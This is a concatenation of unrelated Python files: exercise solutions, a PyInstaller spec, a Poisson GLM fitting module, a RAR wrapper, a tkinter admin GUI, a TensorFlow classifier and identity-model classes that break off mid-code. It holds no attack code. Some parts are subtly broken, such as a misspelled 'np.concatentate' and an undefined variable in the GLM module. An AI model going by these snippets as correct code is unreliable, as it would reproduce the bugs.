# -*- mode: python -*-
#import PyInstaller.config
#PyInstaller.config.CONF['distpath'] = "./systemlab-design-release-2/"

block_cipher = None
import sys
sys.setrecursionlimit(5000)

a = Analysis(['systemlab_main_v2001_r2.py'],
             pathex=['C:\\SystemLab_Dev\\systemlab-design-release-2\\'],
             binaries=[],
             datas=[('syslab_gui_files', 'syslab_gui_files'),
		    ('syslab_gui_icons', 'syslab_gui_icons'),
            ('syslab_fb_icons', 'syslab_fb_icons'),
            ('syslab_fb_scripts', 'syslab_fb_scripts'),
            ('syslab_fb_library', 'syslab_fb_library'),
		    ('syslab_documentation', 'syslab_documentation'),
		    ('systemlab_examples', 'systemlab_examples'),
            ('syslab_config_files', 'syslab_config_files'),
            ('wscite', 'wscite'),
		    ('SplashScreen_SystemLab.png', '.'),
            ('LICENSE.txt', '.')],
             hiddenimports=[],
             hookspath=[],
             runtime_hooks=[],
             excludes=['sphinx'],
             win_no_prefer_redirects=False,
             win_private_assemblies=False,
             cipher=block_cipher,
             noarchive=False)
pyz = PYZ(a.pure, a.zipped_data,
             cipher=block_cipher)
exe = EXE(pyz,
          a.scripts,
          [],
          exclude_binaries=True,
          name='SystemLab-Design',
          debug=False,
          bootloader_ignore_signals=False,
          strip=False,
          upx=True,
          console=False,
	  icon='C:\\SystemLab_Dev\\systemlab-design-release-2\\syslab_app_icons\\SystemLabDesignAppIconBlue.ico',
          version = 'C:\\SystemLab_Dev\\systemlab-design-release-2\\file_version_info.rc' )
coll = COLLECT(exe,
               a.binaries,
               a.zipfiles,
               a.datas,
               strip=False,
               upx=True,
               name='systemlab_design')


print('From Code Wars')
print()

def remove_duplicate_words(s):

    # This function removes duplicate words from any given string.
    new = []
    a = [new.append(word) for word in s.split() if word not in new]
    return ' '.join(new)

print(remove_duplicate_words('alpha beta beta gamma gamma gamma delta\
                            alpha beta beta gamma gamma gamma delta'))

# Outputs - alpha beta gamma delta


from web_admin import api_settings
from web_admin.restful_helper import RestfulHelper

def get_payment_decimal(request):
    success, status_code, message, data = RestfulHelper.send(
        method='GET',
        url=api_settings.PAYMENT_DECIMAL,
        params={},
        request=request,
        description='getting payment decimal',
    )

    return data

def get_currency_by_service_id(request, service_id):
    currency = request.session.get('{}_currency'.format(service_id))
    if currency:
        return currency

    success, status_code, message, data = RestfulHelper.send(
        method='GET',
        url=api_settings.SERVICE_DETAIL_URL.format(service_id),
        params={},
        request=request,
        description='getting service currency',
    )

    currency = data.get('currency') if data else ''
    request.session['{}_currency'.format(service_id)] = currency
    return currency


# 균형잡힌 세상
# https://www.acmicpc.net/problem/4949
# 실버 4
# 나의 풀이
import sys
input = sys.stdin.readline

while True:
  string = input().rstrip()
  stack = []
  isBalanced = True

  if string == '.':
    break

  for s in string:
    if s == '(' or s == '[':
      stack.append(s)
    if s == ')':
      if not stack or stack[-1] != '(':
        isBalanced = False
        break
      stack.pop()
    if s == ']':
      if not stack or stack[-1] != '[':
        isBalanced = False
        break
      stack.pop()

  if stack:
    isBalanced = False

  print('yes' if isBalanced else 'no')


import numpy as np
from scipy.special import gammaln

def poisson_log_like(w,Y,X,dt,f=np.exp,Cinv=None):
    """
    Poisson GLM log likelihood.
    f is exponential by default.
    """

    # if no prior given, set it to zeros
    if Cinv is None:
        Cinv = np.zeros([np.shape(w)[0],np.shape(w)[0]])

    # evaluate log likelihood and gradient
    ll = np.sum(Y * np.log(f(X @ w)) - f(X@w)*dt - gammaln(Y+1) + Y*np.log(dt)) + 0.5*w.T@Cinv@w

    # return ll
    return ll

def process_data(X,y,X_sub=None,y_sub=None,insuff=None,subset_frac=0.1):
    """
    This function builds and returns the quadratic sufficient statistics, and
    stores a specified subset of the data.

    The sufficient statistics are:
        suff[0] = sum x
        suff[1] = sum y*x
        suff[2] = sum x*x^T
        suff[3] = sum y*x*xT

    The subset of data is stored in X_sub and y_sub, and the fraction to be
    stored is given by subset_frac.
    """

    suff = []
    suff += [np.sum(X,axis=0)]
    suff += [np.sum(y[:,np.newaxis]*X,axis=0)] # should be same as X.T@y
    suff += [X.T@X]
    suff += [X.T@(y[:,np.newaxis]*X)]

    if insuff is not None:
        suff = [x + y for x, y in zip(suff,insuff)]

    # num data
    T = np.shape(y)[0]

    # get random subset of data
    indices = np.random.choice(T,int(T*subset_frac),replace=False)
    if X_sub is None:
        X_sub = X[indices,:]
        y_sub = y[indices]
    else:
        X_sub = np.vstack([X_sub,X[indices,:]])
        y_sub = np.concatentate([y_sub,y[indices]])

    return suff, X_sub, y_sub

def adaptive_interval(f,suff,Xs,ys,dt,intervals,Cinv=None):
    """
    This function performs adaptive interval selection given a subset of data
    Xs and ys. It takes as input the nonlinearity f, the quadratic sufficient
    statistics suff, Xs, ys, the bin size dt, a list of intervals, and a prior.

    It outputs the weights computed using selected approximation interval and
    the identified approximation interval.
    """

    # allocate zeros for log like, one for each interval
    log_likes = np.zeros([len(intervals),])

    # for each input interval
    for idx, interval in enumerate(intervals):

        # compute paglm weights
        w_paglm = compute_paglm_weights(f,suff,interval,dt,Cinv=Cinv)

        # evaluate log likelihood of subset of data
        log_likes[idx] = poisson_log_like(w_paglm,ys,Xs,dt,f=f,Cinv=Cinv)

        # store weights if they are the highest log-like so far
        if np.argmax(log_likes[:idx+1]) == idx:
            w_star = w_paglm

    # return weights and best interval
    max_interval = intervals[np.argmax(log_likes)]

    return w_star, max_interval

def fit_paglm(f,suff,dt,intervals,Cinv=None,X_sub=0,y_sub=0):
    # needs to input xsub, ysub
    """
    This function fits the paGLM model to data X, y with function f and
    the designated interval.

    If intervals has length one, then the function uses a fixed interval
    for the approximation. Otherwise, the function chooses the interval
    that maximizes the log-likelihood of a subset of the data (adaptive).
    """

    # fixed interval
    if len(intervals) == 1:

        interval = intervals[0]
        w_star = compute_paglm_weights(f,suff,interval,dt,Cinv=Cinv)

    # adaptive
    else:

        # adapt interval
        w_star, interval = adaptive_interval(f,suff,X_sub,y_sub,dt,intervals,Cinv=Cinv)

    # return weights and interval used for approximation
    return w_star, interval

def compute_paglm_weights(f,suff,interval,dt,Cinv=None):
    """
    This function computes the paglm weights given a nonlinearity, sufficient
    statistics, bin size, and optional prior over an approximation interval.
    """

    # if Cinv is none, make prior a matrix of zeros
    if Cinv is None:
        Cinv = np.zeros([np.shape(w)[0],np.shape(w)[0]])

    # compute Chebyshev approximation and paGLM weights
    a0,a1,a2 = compute_chebyshev(f,interval,power=2,dx=0.01)

    # if exponential, compute weights with only one approximation
    if f is np.exp:
        Xtyb = suff[1] - suff[0]*a1*dt # rename this
        w_paglm = np.linalg.lstsq(2.0*a2*dt*suff[2]+Cinv,Xtyb,rcond=True)[0]

    # if not exp, compute second approximation and the resulting weights
    else:
        b0,b1,b2 = compute_chebyshev(lambda x : np.log(f(x)),interval,power=2,dx=0.01)
        Xtyb = suff[1]*b1 - suff[0]*a1*dt # rename
        w_paglm = np.linalg.lstsq(2.0*a2*dt*suff[2] - 2.0*b2*suff[3] \
            +Cinv,Xtyb,rcond=True)[0]

    # return weights
    return w_paglm

def compute_chebyshev(f,xlim,power=2,dx=0.01):
    """
    Compute Chebyshev polynomial approximations to functions.
    Uses weighted linear regression.

    Inputs:
    f: function to be approximated
    xlim: interval of approximation
    power: order of approximation
    dx: discretization for approximation

    Output:
    what_cheby: weights of approximation, in increasing order
    """

    # grid approximation range
    xx = np.arange(xlim[0]+dx/2.0,xlim[1],dx)
    nx = xx.shape[0]
    xxw = np.arange(-1.0+1.0/nx,1.0,1.0/(0.5*nx)) # relative locations in [-1,1]

    # create monomial basis
    Bx = np.zeros([nx,power+1])
    for i in range(0,power+1):
        Bx[:,i] = np.power(xx,i)

    # compute weighting for weighted linear regression
    errwts_cheby = 1.0 / np.sqrt(1-xxw**2)
    Dx = np.diag(errwts_cheby)

    # evaluate function on grid
    fx = f(xx)

    # compute approximation weights (in monomial basis)
    what_cheby = np.linalg.lstsq(Bx.T @ Dx @ Bx,Bx.T @ Dx @ fx,rcond=None)[0]

    return what_cheby


"""
        Преобразование в строку

Вашему решению предоставлен список натуральных чисел numbers.

Напишите выражение для генерации строки, представляющей собой отсортированный список чисел,
записанных через дефис, окружённый пробелами, без повторений.

Примечание
В решении не должно быть ничего, кроме выражения.
"""

# имеем список чисел
# numbers = [3, 1, 2, 3, 2, 2, 1]
numbers = [1, 1, 3, 1, 10, 2, 4, 6, 7, 1, 2, 7]
# строковым выражением с помощью метода join проходимся по
# сортированному списку numbers предварительно преобразованный в множество
current_str = ' - '.join(str(i) for i in sorted(set(numbers)))
print(current_str)


import matplotlib.pyplot as plt
from  matplotlib.animation import FuncAnimation

fig, ax = plt.subplots(figsize=(4,2))
colLabels = ["Name", "Number"]
data = [["Peter", 1], ["Sara", 1], ["John", 1]]
the_table = ax.table(cellText=data,
                     colLabels=colLabels,
                     loc='center')
c = the_table.get_celld()[(1, 1)]
c.set_color('blue')

def update(i):

    the_table._cells[(1, 1)]._text.set_text(str(i))
    the_table._cells[(2, 1)]._text.set_text(str(i*2))
    the_table._cells[(3, 1)]._text.set_text(str(i*3))

ani = FuncAnimation(fig, update, frames=20, interval=400)
plt.show()


import subprocess
import os
import sys
from ..error import DirNotFoundError
from .check import check_file_environ_path

import logging

g_logger = logging.getLogger(__name__)
g_logger.propagate = True
g_logger.setLevel(logging.DEBUG)

def rar_compress(
    input_path_set: set,
    output_dir: str,
    output_filename: str,
    compress_level=5,
    solid_compress_bool=False,
    rar_version=5,
    text_compress_opt_bool=False,
    work_dir="",
    rar_exe_file_dir="",
) -> str:
    if not isinstance(input_path_set, set):
        raise TypeError(
            f"type of input_path_set must be set "
            f"instead of {type(input_path_set)}"
        )

    if not input_path_set:
        return ""

    if not isinstance(output_dir, str):
        raise TypeError(
            f"type of output_dir must be str instead of {type(output_dir)}"
        )

    if not isinstance(output_filename, str):
        raise TypeError(
            f"type of output_filename must be str "
            f"instead of {type(output_filename)}"
        )

    if not isinstance(rar_exe_file_dir, str):
        raise TypeError(
            f"type of rar_exe_file_dir must be str "
            f"instead of {type(rar_exe_file_dir)}"
        )

    rar_exe_filename: str = "Rar.exe"
    if rar_exe_file_dir:
        if not os.path.isdir(rar_exe_file_dir):
            raise DirNotFoundError(
                f"rar dir cannot be found with {rar_exe_file_dir}"
            )
        all_filename_list: list = os.listdir(rar_exe_file_dir)
        if rar_exe_filename not in all_filename_list:
            raise FileNotFoundError(
                f"{rar_exe_filename} cannot be found in " f"{rar_exe_file_dir}"
            )
    else:
        if not check_file_environ_path({rar_exe_filename}):
            raise FileNotFoundError(
                f"{rar_exe_filename} cannot be found in environment path"
            )
    if not os.path.exists(output_dir):
        os.makedirs(output_dir)

    rar_extension: str = ".rar"
    output_file_fullname: str = output_filename + rar_extension
    output_filepath: str = os.path.join(output_dir, output_file_fullname)

    if os.path.isfile(output_filepath):
        os.remove(output_filepath)

    rar_exe_filepath: str = os.path.join(rar_exe_file_dir, rar_exe_filename)
    add_key: str = "a"
    compress_level_key: str = f"-m{compress_level}"
    rar_version_key: str = f"-ma{rar_version}"
    black_hash_key: str = "-htb"

    text_compress_key: str = "-mct+"
    solid_compress_key: str = "-s"

    cmd_param_list: list = [rar_exe_filepath, add_key, output_filepath]
    cmd_param_list.extend(input_path_set)
    cmd_param_list += [compress_level_key, rar_version_key, black_hash_key]
    if solid_compress_bool:
        cmd_param_list.append(solid_compress_key)

    if text_compress_opt_bool:
        cmd_param_list.append(text_compress_key)

    rar_param_debug_str: str = (
        f"compress rar: param:" f"{subprocess.list2cmdline(cmd_param_list)}"
    )
    g_logger.log(logging.DEBUG, rar_param_debug_str)
    print(rar_param_debug_str)

    start_info_str: str = f"compress rar: starting compress {output_filepath}"

    print(start_info_str, file=sys.stderr)
    g_logger.log(logging.INFO, start_info_str)

    process: subprocess.Popen = subprocess.Popen(cmd_param_list, cwd=work_dir)

    process.communicate()

    if process.returncode == 0:
        end_info_str: str = (
            f"compress rar: compress {input_path_set} to "
            f"{output_filepath} successfully."
        )
        print(end_info_str, file=sys.stderr)
        g_logger.log(logging.INFO, end_info_str)
    else:
        raise ChildProcessError(
            f"compress rar: transcode {input_path_set} to "
            f"{output_filepath} unsuccessfully!"
        )

    return output_filepath


#!/usr/bin/env python3
# -*- coding: UTF-8 -*-

from tkinter import Toplevel, Label, Message
from components import frames, menu
from lib.functions import set_window_center
from pages import winAbout

class MainPage():
    """主界面"""

    def __init__(self, master=None):
        self.root = master # 主窗口
        set_window_center(self.root, 800, 600)
        menu.MainMenu(self) # 使用self可以传递主窗口和主窗口操作函数
        # 初始化Frames
        self.current_frame = None
        self.page_frame = {
            "home": frames.HomeFrame,
            "content_add": frames.ContentAdd,
            "content_list": frames.ContentList,
            "count": frames.CountFrame,
            "contact": frames.AboutFrame,
            "user_list": frames.UserListFrame,
            "user_add": frames.UserAddFrame
        }
        self.open_home()
        self.win_about = None

    def open_page(self, frame_name, title):
        """打开/更换主界面的通用函数"""
        self.root.title(title)
        # 先销毁之前frame
        if self.current_frame is not None and (hasattr(self.current_frame.destroy, '__call__')):
            self.current_frame.destroy()

        self.current_frame = self.page_frame[frame_name](self.root)
        self.current_frame.pack()

    def open_home(self):
        """应用主界面"""
        self.open_page("home", "应用主界面")

    def open_content_add(self):
        """文章添加"""
        self.open_page("content_add", "文章添加")

    def open_content_list(self):
        """文章列表"""
        self.open_page("content_list", "文章查询")

    def open_content_count(self):
        """文章统计"""
        self.open_page("count", "文章统计")

    def open_ontact(self):
        """联系我们"""
        self.open_page("contact", "联系我们")

    def open_user_info(self):
        """用户详情"""
        page = Toplevel()
        page.title("用户详情")
        page.resizable(False, False)
        set_window_center(page, 200, 150)

        # Label(page).grid(row=0, stick="w", pady=2)

        Label(page, text="姓名: ").grid(row=1, stick="w", pady=2)
        Label(page, text="管理员").grid(row=1, column=1, stick="e")

        Label(page, text="账户: ").grid(row=2, stick="w", pady=2)
        Label(page, text="admin").grid(row=2, column=1, stick="e")

        Label(page, text="密码: ").grid(row=3, stick="w", pady=2)
        Label(page, text="admin").grid(row=3, column=1, stick="e")

    def open_user_list(self):
        """用户列表"""
        self.open_page("user_list", "用户列表")
        # self.page_frame['user_list'].init_data()

    def open_user_add(self):
        """用户添加"""
        self.open_page("user_add", "用户添加")

    def open_download(self):
        """下载窗口"""
        root = Toplevel()
        root.title("下载管理")
        set_window_center(root, 400, 400)
        msg = Label(root, text="你好你好你好你好")
        msg.pack(expand="yes", fill="both")
        msg = Message(root, text="类似于弹出窗口，具有独立的窗口属性。", width=150)
        msg.pack()

    def open_upload(self):
        """上传管理"""
        root = Toplevel()
        root.title("上传管理")
        set_window_center(root, 400, 400)
        msg = Label(root, text="你好你好你好你好")
        msg.pack(expand="yes", fill="both")
        msg = Message(root, text="类似于弹出窗口，具有独立的窗口属性。", width=150)
        msg.pack()

    def open_synchronize(self):
        """同步管理"""
        root = Toplevel()
        root.title("同步管理")
        set_window_center(root, 400, 400)
        msg = Label(root, text="你好你好你好你好")
        msg.pack(expand="yes", fill="both")
        msg = Message(root, text="类似于弹出窗口，具有独立的窗口属性。", width=150)
        msg.pack()

    def open_backup(self):
        """备份管理"""
        root = Toplevel()
        root.title("备份管理")
        set_window_center(root, 400, 400)
        msg = Label(root, text="你好你好你好你好")
        msg.pack(expand="yes", fill="both")
        msg = Message(root, text="类似于弹出窗口，具有独立的窗口属性。", width=150)
        msg.pack()

    def open_about(self):
        """关于窗口"""
        if self.win_about and self.win_about.destroy:
            self.win_about.destroy()
        self.win_about = winAbout.Init()

    def window_to_top(self):
        """窗口置顶"""
        self.root.attributes('-topmost', True)

    def window_not_top(self):
        """窗口置顶"""
        self.root.attributes('-topmost', False)


#! /usr/bin/env python
#  -*- coding: utf-8 -*-
__author__ = 'maito'
__all__ = ['add2zip_list']

##########
import sys
import argparse
import codecs
import csv

##########
class Add2zip(object):
    """
    [CLASSES] Class説明文
    """

    def parse_address(address):
        return([])

    def add_csv2list(address_list_file):
        address_list = []
        ff = codecs.open(address_list_file,'r','utf-8')
        reader = csv.reader(ff)
        for rr in reader:
            address_list.append(rr)
        return(address_list)

    def zip_csv2dict(zipcode_list_file):
        zipcode_list = []
        ff = codecs.open(zipcode_list_file,'r','shift-jis')
        reader = csv.reader(ff)
        for rr in reader:
            zipcode_list.append(rr)
        return(zipcode_list)

    def add2zip_zipcode(address, zipcode_dict):
        """
        [CLASSES] 関数説明文
        Keyword arguments:
        hoge -- 引数説明
        """
        # >>> add2zip_list(args)
        pass

def main():
    parser = argparse.ArgumentParser(description='')
    parser.add_argument(
        '-a',
        dest = 'address_list_file',
        nargs='?',
        default='../data/address.csv',
        help='address to get zip code')
    parser.add_argument(
        '-f',
        dest = 'zipcode_list_file',
        nargs='?',
        default='../data/KEN_ALL.CSV',
        help='file path of postal zip code list KEN_ALL.CSV "http://www.post.japanpost.jp/zipcode/dl/kogaki/zip/ken_all.zip"')
    args = vars(parser.parse_args())

    address_list = Add2zip.add_csv2list(args['address_list_file'])
    zipcode_dict = Add2zip.zip_csv2dict(args['zipcode_list_file'])

    print(address_list[0])
    print(zipcode_dict[0])

    Add2zip.add2zip_zipcode('1',{})

##########
if __name__ == '__main__':
    main()
    # >>> Add2zip.parse_address('東京都港区芝浦4-4-27-501')

    import doctest
    doctest.testmod()


import sys

def DFS(node):

    #DFS

    while(stack):
        flag = stack.pop()

        if flag not in visited:
            visited.append(flag)
        else:
            continue

        for j in range(node,0,-1):
            if matrix[flag][j] == 1 and j not in visited:
                stack.append(j)

    print(len(visited)-1)
    """
    for i in visited:
        print(i,end=' ')
    """

st_point = 1
node = sys.stdin.readline()
edge  = sys.stdin.readline()
node = int(node)
edge = int(edge)

visited = []
stack = [st_point]
matrix = []

#2차원 배열 생성
for i in range(node+1):
    matrix.append([])
    for j in range(node+1):
        matrix[i].append(0)

        if i == j and i!=0:
            matrix[i][j] = 1

for i in range(edge):

    temp_x,temp_y = sys.stdin.readline().split(" ")
    temp_x,temp_y = int(temp_x),int(temp_y)

    matrix[temp_y][temp_x] = 1
    matrix[temp_x][temp_y] = 1

for i in range(node+1):

    print(matrix[i])

DFS(node)


class BEvents(object):
    non_branch_attrs = ["tree", "nevents_in_tree", "nevents_per_block",
                        "nblocks", "start_block", "stop_block", "iblock",
                        "start_entry", "stop_entry", "_branch_cache", "size",
                        "config"]
    def __init__(self, tree,
                 nevents_per_block=100000,
                 start_block=0, stop_block=-1):
        self.tree = tree
        self.nevents_in_tree = len(tree)
        self.nevents_per_block = int(nevents_per_block) \
                if nevents_per_block >= 0 \
                else self.nevents_in_tree

        nblocks = int((self.nevents_in_tree-1)/self.nevents_per_block + 1)
        start_block = min(nblocks, start_block)
        if stop_block > -1:
            self.nblocks = min(nblocks-start_block, stop_block)
        else:
            self.nblocks = nblocks-start_block
        self.stop_block = stop_block
        self.start_block = start_block
        self.iblock = -1

        self._branch_cache = {}

    def __len__(self):
        return self.nblocks

    def __repr__(self):
        return '{}({})'.format(
            self.__class__.__name__,
            self._repr_content(),
        )

    def _repr_content(self):
        return 'tree = {!r}, nevents_in_tree = {!r}, nevents_per_block = {!r}, '\
                'nblocks = {!r}, iblock = {!r}, start_block = {!r}, '\
               'stop_block = {!r}'.format(
                   self.tree,
                   self.nevents_in_tree,
                   self.nevents_per_block,
                   self.nblocks,
                   self.iblock,
                   self.start_block,
                   self.stop_block,
               )

    def __getitem__(self, i):
        if i >= self.nblocks:
            self.iblock = -1
            raise IndexError("The index is out of range: " + str(i))
        self._branch_cache = {}

        self.iblock = i
        return self

    def __iter__(self):
        for self.iblock in range(self.nblocks):
            self._branch_cache = {}
            yield self
        self.iblock = -1

    def __getattr__(self, attr):
        if attr in self.non_branch_attrs:
            return getattr(self, attr)
        return self._get_branch(attr)

    def __setattr__(self, attr, val):
        if attr in self.non_branch_attrs:
            super(BEvents, self).__setattr__(attr, val)
        else:
            self._branch_cache[attr] = val

    def _get_branch(self, name):
        if name in self._branch_cache:
            branch = self._branch_cache[name]
        else:
            self.start_entry = (self.start_block + self.iblock) * self.nevents_per_block
            self.stop_entry= min(
                (self.start_block + self.iblock + 1) * self.nevents_per_block,
                (self.start_block + self.nblocks) * self.nevents_per_block,
                self.nevents_in_tree,
            )
            self.size = self.stop_entry - self.start_entry
            branch = self.tree.array(name,
                                     entrystart = self.start_entry,
                                     entrystop = self.stop_entry)
            self._branch_cache[name] = branch
        return branch

    def hasbranch(self, branch):
        return (branch in self.tree.keys() or branch in self._branch_cache)

    def delete_branches(self, branches):
        for branch in branches:
            if branch in self._branch_cache:
                self._branch_cache[branch] = None
                del self._branch_cache[branch]


def skew_diagram(Genome):
    skew = [0]*(len(Genome)+1)
    origin = []
    for i in range(len(Genome)):
        if Genome[i] == "C":
            skew[i+1] = skew[i]-1
        elif Genome[i] == "G":
            skew[i+1] = skew[i]+1
        else:
            skew[i+1] = skew[i]
    min_skew = min(skew)
    for i in range(len(Genome)+1):
        if skew[i] == min_skew:
            origin.append(i)
    return " ".join(str(e) for e in origin)

# - Sample Input: TAAAGACTGCCGAGAGGCCAACACGAGTGCTAGAACGAGGGGCGTAAACGCGGGTCCGAT
# - Sample Output: 11 24


N,M=map(int,input().split())
card=list(map(int,input().split()))
path=[0]*M
used=[0]*N
lst=[]

def dfs(level):
    if level == M:
        lst.append(tuple(path))
        return

    for i in range(N):

        if used[i]:
            continue
        used[i]=1
        path[level]=card[i]
        dfs(level+1)
        used[i]=0

dfs(0)

new=sorted(set(lst))
for i in range(len(new)):
    print(*new[i])


class Solution:
    def longestPalindromeSubseq2(self, s: str) -> int:

        n = len(s)
        dp = [1] * n

        for i in range(n - 1, -1, -1):
            pre = 0  # dp[i+1][j-1]
            for j in range(i + 1, n):
                temp = dp[j]
                if s[i] == s[j]:
                    dp[j] = pre + 2
                else:
                    dp[j] = max(dp[j], dp[j - 1])
                pre = temp
        return dp[-1]

    def longestPalindromeSubseq(self, s: str) -> int:

        n = len(s)
        dp = [[0 for _ in range(n)] for _ in range(n)]
        for i in range(n):
            dp[i][i] = 1
        for i in range(n - 1, -1, -1):  # 遍历顺序由dp关系式所得
            for j in range(i + 1, n):
                if s[i] == s[j]:
                    dp[i][j] = dp[i + 1][j - 1] + 2
                else:
                    dp[i][j] = max(dp[i + 1][j], dp[i][j - 1])
        return dp[0][n - 1]

print(Solution().longestPalindromeSubseq(s="bbbab"))
print(Solution().longestPalindromeSubseq(s="bbabb"))


from time import sleep

def power_of_2(n):
    return n > 0 and (n & (n - 1)) == 0

'''
for i in range(30):
    if power_of_2(i):
        print(i)
'''

x = 0b10000
print(bin(x))
print(bin(x-1))
y = 0b10001
print(bin(y & x))

count = 0
while True:
    sleep(1)
    count += 1
    if power_of_2(count):
        print('.', end="", flush=True)


# --*-- coding:utf-8 --*--
'''
Created on 2018年4月18日

@author: Administrator
'''
import tensorflow as tf
from tensorflow.examples.tutorials.mnist import input_data
from math import sqrt
import numpy as np
import os

# 指定使用GPU
#os.environ['CUDA_VISIBLE_DEVICES']='2,3'

data=input_data.read_data_sets('data/fashion')
'''
data.train.images data.train.labels
data.test.images/labels
data.train.next_batch()
'''
batch_size=32
epochs=20
save_path='./logs/fashion-model.ckpt'
global_step=tf.Variable(1)
learning_rate=tf.train.exponential_decay(learning_rate=0.01, global_step=global_step, decay_steps=1000, decay_rate=0.8, staircase=True)
images=tf.placeholder(dtype=tf.float32, shape=[None,28,28,1], name='images')
labels=tf.placeholder(dtype=tf.int32,shape=[None],name='labels')

def model(images,labels):

    with tf.name_scope('conv1') as scope:
        weights=tf.Variable(tf.truncated_normal([5,5,1,16], stddev=0.01), name='w')
        bias=tf.Variable(tf.constant(0.1, shape=[16]),name='bias')
        conv1=tf.nn.conv2d(images, weights, strides=[1,2,2,1], padding='SAME', name='conv')
        conv1=tf.nn.bias_add(conv1, bias)
        conv1=tf.nn.relu(conv1, name='relu')

    with tf.name_scope('conv2'):
        weights=tf.Variable(tf.truncated_normal([3,3,16,32],stddev=0.01),name='w')
        bias=tf.Variable(tf.constant(0.01,shape=(32,)),name='bias')
        conv2=tf.nn.conv2d(conv1,weights,strides=[1,1,1,1],padding='SAME',name='conv')
        conv2=tf.nn.bias_add(conv2, bias)
        conv2=tf.nn.relu(conv2)
        pool2=tf.nn.max_pool(conv2, ksize=[1,2,2,1], strides=[1,2,2,1], padding='SAME', name='max_pool')

    with tf.name_scope('conv3'):
        weights=tf.Variable(tf.truncated_normal([3,3,32,64], stddev=0.01),name='w')
        bias=tf.Variable(tf.constant(0.1,shape=(64,)),name='bias')
        conv3=tf.nn.conv2d(pool2,weights,strides=[1,1,1,1],padding='SAME',name='conv')
        conv3=tf.nn.bias_add(conv3,bias)
        conv3=tf.nn.relu(conv3)
        pool3=tf.nn.max_pool(conv3,ksize=[1,2,2,1],strides=[1,2,2,1],padding='VALID',name='max_pool')

    with tf.name_scope('conv4'):
        weights=tf.Variable(tf.truncated_normal([3,3,64,128],stddev=0.01),name='w')
        bias=tf.Variable(tf.constant(0.1,shape=(128,)),name='bias')
        flattened=tf.nn.conv2d(pool3,weights,strides=[1,1,1,1],padding='VALID')
        flattened=tf.nn.bias_add(flattened,bias)
        flattened=tf.nn.relu(flattened)
        flattened=tf.squeeze(flattened, axis=(1,2), name='squeeze')

    with tf.name_scope('logits'):
        weights=tf.Variable(tf.truncated_normal(shape=[128,10],stddev=sqrt(2.0/138)),name='w')
        bias=tf.Variable(tf.constant(0.01,shape=(10,)),name='bias')
        logits=tf.matmul(flattened, weights, name='fc')
        logits=tf.add(logits, bias)

    with tf.name_scope('loss'):
        loss=tf.nn.sparse_softmax_cross_entropy_with_logits(labels=labels, logits=logits, name='loss')
        loss=tf.reduce_mean(loss)
        tf.summary.scalar('loss', loss)

    with tf.name_scope('predictions'):
        predicts=tf.arg_max(logits, dimension=-1, name='prediction')

    return predicts,loss

predicts,loss=model(images,labels)
train_op=tf.train.AdamOptimizer(learning_rate).minimize(loss, global_step)

sess=tf.Session()
writer=tf.summary.FileWriter('./logs/fashion-summary/',sess.graph)
summary_merge=tf.summary.merge_all()
saver=tf.train.Saver()

sess.run(tf.global_variables_initializer())
num_batches=60000//32+1
cur_step=1
for i in range(epochs):
    for j in range(num_batches):
        train_images,train_labels=data.train.next_batch(batch_size)

        train_images=np.reshape(train_images, newshape=(batch_size,28,28,1))

        #print(train_labels.shape)
        #train_images=tf.reshape(train_images, [None,28,28,1])
        _,loss_val=sess.run([train_op,loss],feed_dict={images:train_images,labels:train_labels})
        if j % 10 == 0:
            print('epoch-%d-step-%d:%.4f' % (i,j,loss_val))
            merged=sess.run(summary_merge,feed_dict={images:train_images,labels:train_labels})
            writer.add_summary(merged, i*j+j)

    saver.save(sess, save_path=save_path, global_step=global_step)


#!/usr/bin/python3

# Usage: block-solution.py <cnf-file> <sat-solver-output-file>
#
# Finds a clause that blocks the solution in the solver output.

import re
import sys

def extract_vars(filename):
    # comments look like 'c var 1153 == ZERO at H(0,0)'
    prog = re.compile('c var (\\d+) == \\w+ at [HV]\(\\d+,\\d+\)')
    vs = set()
    with open(filename) as f:
        for line in f:
            if line.startswith('p'): continue
            if not line.startswith('c'): return vs
            m = prog.match(line)
            if m is None: continue
            vs.add(m.groups()[0])
    return vs

def strip_sat_solution(filename):
    pos = set()
    with open(filename) as f:
        for line in f:
            if not line.startswith('v'): continue
            for x in line[1:].strip().split(' '):
                if int(x) > 0:
                    pos.add(x)
    return pos

def print_board(board):
    for row in board:
        for col in row:
            sys.stdout.write(col)
        sys.stdout.write("\n")

if __name__ == '__main__':
    if len(sys.argv) < 3:
        print('Usage: %s <cnf-file> <solver-output-file>' % sys.argv[0])
        sys.exit(1)
    cnf_file, solver_output_file = sys.argv[1:]
    vs = extract_vars(cnf_file)
    solution = strip_sat_solution(solver_output_file)
    print(' '.join([str(-int(x)) for x in vs & solution]) + ' 0')


from sample.identity.v2.models.base import BaseIdentityModel

class AuthenticateResponse(BaseIdentityModel):
    def __init__(
            self, service_catalog=None, token_model=None, user_model=None):
        super(AuthenticateResponse, self).__init__(locals())

    @classmethod
    def _dict_to_obj(cls, data):
        data = data.get("access")
        return cls(
            service_catalog=cls._build_list_model(
                data, "serviceCatalog", ServiceModel),
            token_model=TokenModel._dict_to_obj(data.get("token")),
            user_model=UserModel._dict_to_obj(data.get("user")))

    @classmethod
    def _xml_ele_to_obj(cls, data):
        return cls(
            service_catalog=cls._build_list_model(
                cls._find(data, "serviceCatalog"), "service", ServiceModel),
            token_model=TokenModel._xml_ele_to_obj(cls._find(data, "token")),
            user_model=UserModel._xml_ele_to_obj(cls._find(data, "user")))

class ServiceModel(BaseIdentityModel):
    def __init__(self, endpoints=None, name=None, type_=None):
        super(ServiceModel, self).__init__(locals())

    @classmethod
    def _dict_to_obj(cls, data):
        return cls(
            endpoints=cls._build_list_model(
                data, "endpoints", EndpointModel),
            name=data.get("name"),
            type_=data.get("type"))

    @classmethod
    def _xml_ele_to_obj(cls, data):
        return cls(
            endpoints=cls._build_list_model(data, "endpoint", EndpointModel),
            name=data.attrib.get("name"),
            type_=data.attrib.get("type"))

class EndpointModel(BaseIdentityModel):
    def __init__(
        self, internal_url=None, public_url=None, tenant_id=None,
            version_id=None, version_info=None, version_list=None):
        super(EndpointModel, self).__init__(locals())

    @classmethod
    def _dict_to_obj(cls, data):
        return cls(
            internal_url=data.get("internalURL"),
            public_url=data.get("publicURL"),
            tenant_id=data.get("tenantId"),
            version_id=data.get("versionId"),
            version_info=data.get("versionInfo"),
            version_list=data.get("versionList"))

    @classmethod
    def _xml_ele_to_obj(cls, data):
        version_element = cls._find(data, "version")
        return cls(
            internal_url=data.attrib.get("internalURL"),
            public_url=data.attrib.get("publicURL"),
            tenant_id=data.attrib.get("tenantId"),
            version_id=version_element.attrib.get("id"),
            version_info=version_element.attrib.get("info"),
